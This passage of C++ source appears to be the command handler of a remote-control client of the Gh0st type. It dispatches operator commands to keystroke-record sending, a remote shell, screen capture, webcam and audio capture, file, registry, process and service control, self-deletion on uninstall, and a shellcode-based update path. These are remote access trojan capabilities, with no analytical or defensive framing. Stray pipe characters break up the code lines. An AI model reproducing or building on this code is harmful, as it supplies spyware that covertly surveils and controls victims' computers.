CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||
} else {
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||
}
|
||
break;
|
||
}
|
||
|
||
case COMMAND_TALK: {
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||
break;
|
||
}
|
||
|
||
case COMMAND_SHELL: {
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||
break;
|
||
}
|
||
|
||
case COMMAND_SYSTEM: { //远程进程管理
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||
break;
|
||
}
|
||
|
||
case COMMAND_WSLIST: { //远程窗口管理
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||
break;
|
||
}
|
||
|
||
case COMMAND_BYE: {
|
||
BYTE bToken = COMMAND_BYE;// 被控端退出
|
||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||
g_bExit = S_CLIENT_EXIT;
|
||
Mprintf("======> Client exit \n");
|
||
break;
|
||
}
|
||
|
||
case TOKEN_UNINSTALL: {
|
||
BYTE bToken = COMMAND_BYE;// 被控端退出
|
||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||
g_bExit = S_CLIENT_EXIT;
|
||
self_del(10);
|
||
Mprintf("======> Client uninstall \n");
|
||
break;
|
||
}
|
||
|
||
case SERVER_EXIT: {
|
||
// 主控端退出
|
||
g_bExit = S_SERVER_EXIT;
|
||
Mprintf("======> Server exit \n");
|
||
break;
|
||
}
|
||
|
||
case COMMAND_SCREEN_SPY: {
|
||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||
if (ulLength > 1) {
|
||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
|
||
}
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount].user = user;
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||
break;
|
||
}
|
||
|
||
case COMMAND_LIST_DRIVE : {
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||
break;
|
||
}
|
||
|
||
case COMMAND_WEBCAM: {
|
||
static bool hasCamera = WebCamIsExist();
|
||
if (!hasCamera) break;
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||
break;
|
||
}
|
||
|
||
case COMMAND_AUDIO: {
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||
break;
|
||
}
|
||
|
||
case COMMAND_REGEDIT: {
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||
break;
|
||
}
|
||
|
||
case COMMAND_SERVICES: {
|
||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
|
||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||
break;
|
||
}
|
||
|
||
case COMMAND_UPDATE: {
|
||
auto typ = m_conn->ClientType();
|
||
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
|
||
ULONGLONG size = 0;
|
||
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
||
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
||
g_bExit = S_CLIENT_UPDATE;
|
||
}
|
||
} else if (typ == CLIENT_TYPE_SHELLCODE || typ == CLIENT_TYPE_MEMDLL) {
|
||
char curFile[_MAX_PATH] = {};
|
||
GetModuleFileName(NULL, curFile, MAX_PATH);
|
||
if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile, false)) {
|
||
g_bExit = S_CLIENT_UPDATE;
|
||
// 强制退出当前进程，并重新启动；这会触发重新获取 Shell code 从而做到软件升级
|
||
Mprintf("CKernelManager: [%s] Will be updated.\n", curFile);
|
||
Sleep(1000);
|
||
TerminateProcess(GetCurrentProcess(), 0xABCDEF);
|
||
}
|
||
Mprintf("CKernelManager: [%s] Update FAILED.\n", curFile);
|
||
} else {
|
||
Mprintf("=====> 客户端类型'%d'不支持文件升级\n", typ);
|
||
}
|
||
break;
|
||
}
|
||
|
||
default: {
|
||
Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0]));
|
||
break;
|
||
}
|
||
}
|
||
}
|